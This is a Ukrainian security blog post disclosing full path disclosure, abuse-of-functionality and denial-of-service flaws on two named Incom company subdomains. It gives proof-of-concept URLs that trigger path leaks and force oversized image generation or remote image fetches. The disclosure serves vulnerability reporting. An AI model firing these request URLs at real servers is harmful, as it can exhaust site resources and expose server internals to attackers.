Websecurity - Веб безпека

21.09.2012

У жовтні, 20.10.2011, я знайшов нові уразливості на http://iss.incom.ua та http://it-consulting.incom.ua. Це Full path disclosure, Abuse of Functionality та Denial of Service уразливості на сайтах секюріті компанії Інком. Я вже писав про аналогічні уразливості на incom.ua (вони є також на інших сайтах Інкома). Про що найближчим часом детально сповіщу адміністрацію сайта.

Раніше я вже писав про уразливості на iss.incom.ua.

Детальна інформація про уразливості з’явиться пізніше.

20.05.2016

FPD:

http://iss.incom.ua/img/img.php?src=1

AoF та DoS:

http://iss.incom.ua/img/img.php?src=http://path.to.jpg&w=5000&h=5000
http://iss.incom.ua/images/CaptchaSecurityImages.php?width=5000&height=5000

Уразливості аналогічні є на it-consulting.incom.ua.

This entry was posted on 23:55 20.05.2016 and is filed under Уразливості. You can follow any responses to this entry through the RSS 2.0 feed.